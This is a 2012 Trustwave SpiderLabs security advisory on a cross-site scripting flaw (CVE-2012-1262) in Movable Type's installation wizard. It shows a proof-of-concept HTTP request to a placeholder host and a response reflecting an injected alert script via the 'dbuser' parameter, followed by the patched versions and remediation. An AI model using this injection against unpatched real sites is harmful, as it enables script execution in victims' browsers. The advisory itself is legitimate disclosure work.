TWSL2012-003: Cross-Site Scripting Vulnerability in Movable Type- Publishing Platform

From: Trustwave Advisories <>
To: <>
Subject: TWSL2012-003: Cross-Site Scripting Vulnerability in Movable Type- Publishing Platform

Trustwave's SpiderLabs Security Advisory TWSL2012-003:
Cross-Site Scripting Vulnerability in Movable Type Publishing Platform

Published: 2012-02-24
Version: 1.0

Vendor: Six Apart (
Product: Movable Type
Version affected: Versions prior to 5.13, 5.07, and 4.38

Product description:
Movable Type is a weblog publishing system developed by the company Six
Apart. The software supports static page generation and includes
functionality, such as managing files, user roles, templates, tags,
categories, and trackback links.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Cross-Site Scripting Vulnerability
CVE: CVE-2012-1262

After extracting the Moveable Type CGI files and source files on to a web
server, but before the application is fully installed, cross-site scripting
vulnerabilities are present in the '/cgi-bin/mt/mt-wizard.cgi' page.


Performing XSS on "dbuser" parameter


POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/cgi-bin/mt/mt-wizard.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 216



<p>Connection error: Access denied for user '<script>alert('123')</script>'@'localhost' (using password: YES) at /var/www/cgi-bin/mt/extlib/Data/ObjectDriver/Driver/ line 320

Vendor Response: These issues have been addressed as of versions 5.13, 5.07, and 4.38.

Remediation Steps: Customers should update to the latest version of Movable
publishing platform in order to address these issues. The above issues have
been corrected in versions 5.13, 5.07, and 4.38.

Revision History:
01/11/12 - Vulnerability disclosed
02/21/12 - Patch released
02/24/12 - Advisory published


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
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About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.

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